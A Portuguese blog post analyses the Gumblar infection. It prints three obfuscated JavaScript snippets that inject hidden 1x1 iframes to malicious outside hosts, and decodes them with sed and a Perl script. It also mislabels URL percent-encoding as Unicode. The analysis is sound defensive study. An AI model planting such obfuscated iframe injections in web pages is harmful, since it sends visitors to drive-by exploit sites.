Hoje, tive a felicidade de encontrar alguns domínios com os exploits, ferramenta de exploração de vulnerabilidades, do Gumblar funcionando. Cada página que acessava era uma nova surpresa.
Vamos ao que interessa:
Os domínios originais do Gumblar são gumblar .cn e gcounter .cn. Ambos domínios estão fora do AR, então, isso quer dizer que o perigo acabou? Não, infelizmente não. Encontrei uma página que tinha no cabeçalho do arquivo o seguinte código em JavaScript :
script language=”JavaScript”>
document.write(unescape(“%3C%69%66%72%61%6D%65 %73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%73%6C%69%34%74%6F%2E%62%69%7A%2F%74%65%73%74%2F%22 %77%69%64%74%68%3D%31 %68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E”));
/script
script language=”JavaScript”>
document.write(unescape(“%3C%69%66%72%61%6D%65 %73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%61%6E%75%73%2E%72%75%2F%62%6F%6E%62%6F%6E%2F%69%6E%64%65%78%2E%70%68%70%22 %77%69%64%74%68%3D%31 %68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E”));
/script
script language=”JavaScript”>
document.write(unescape(“%3C%69%66%72%61%6D%65 %73%72%63%3D%22%68%74%74%70%3A%2F%2F%78%66%63%67%2E%69%6E%66%6F%2F%65%76%6F%2F%63%6F%75%6E%74%2E%70%68%70%3F%6F%3D%32%22 %77%69%64%74%68%3D%31 %68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E”));
/script
Antes de relevar o que esse monte de números e letras estão fazendo, vale notar o padrão encontrado nesse código:
%3C%69%66%72%61%6D%65
e
%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E
Quem já desenvolveu páginas em .php, .html entre outras linguagens voltadas para WEB, conhece a formatação chamada TAG. Em termos gerais, cada TAG é responsável por um comportamento específico documento processado pelo Navegador de Internet. Por isso, como esses dois códigos estão se repetindo sempre no início e no final da linha, acredito que seja algum tipo de TAG e /TAG.
Mas o que quer dizer %3C, %69, etc? Boa pergunta, Joãozinho. Esse tipo de codificação também é conhecida como Unicode. Segundo a definição da Wikipédia:
Unicode (AFI: [ˈjuːnɪkoʊd]) é um padrão que permite aos computadores representar e manipular, de forma consistente, texto de qualquer sistema de escrita existente
Se você abrir a tabela UNICODE, fornecida pelo site www.unicode.org, e procurar pelo seguintes códigos:
003C
0069
0066
0072
0061
006D
0065
O resultado obtido será a string: iframe. A TAG iframe permite que outra página seja aberta dentro do próprio link visitado.
Como uma pessoa esperta, você acredita que o código “%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%73%6C%69%34%74%6F%2E%62%69%7A%2F%74%65%73%74%2F%22” deve ser o link que é executado pela TAG iframe. Sim, acertou.
Para não ficar “bizonho” de tanto olhar nessa tabela, fiz um script “meia boca” que facilita isso.
1) Abra o terminal do seu Linux e execute o seguinte comando:
echo “%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%73%6C%69%34%74%6F%2E%62%69%7A%2F%74%65%73%74%2F%22” | sed ‘s/\%/00/g’
O comando acima substitui tudo que tiver ‘%’ por ’00’. Agora, basta ler de 4 caracteres por vez e procurar na tabela o carinha. Gelou né?
Salvei o conteúdo desse resultado em um arquivo, por exemplo /tmp/teste, e rodei um script em perl que fiz (código ao final). O resultado sras e srs:
src=”http://esli4to. biz/test/”
Porque que o Gumblar é tão perigoso? Porque ele redireciona clientes para sites que tentam explorar vulnerabilidade em computadores que não estão atualizados, sem antivírus, firewall etc. O código abaixo foi removida da página acima e o que é mais interessante, o código dessa página não é estático, ou seja, acredito que o atacante tente explorar diversas vulnerabilidades no computador do usuário carregando vários códigos. Show né :)?
A imagem abaixo é uma pequena parte do código presente naquela página.
O conteúdo dentro de array, na verdade, é o código malicioso do gumblar. Como esse trecho é muito extenso, vou deixar para próxima essa análise.
Código em perl que transforma de unicode em caracteres.
#!/usr/bin/perl
use Encode;
open FILE, “/tmp/teste” or die $!;
my ($buf, $data, $n);while (($n = read FILE, $data, 4) != 0) {
chomp($data);
my $teste = chr hex ($data);
print “$teste”;$buf .= $data;
}
print “\n”;close(FILE);
Para verificar se sua máquina está com alguem tipo de programa de código malicioso, instale a ferramenta: http://www.malwarebytes.org/
Fontes:
http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/
http://www.w3schools.com/jsref/jsref_unescape.asp
http://www.w3schools.com/jsref/jsref_fromCharCode.asp
http://www.w3schools.com/jsref/jsref_eval.asp
http://www.w3schools.com/jsref/jsref_obj_math.asp
http://www.unicode.org/charts/
Comments are closed.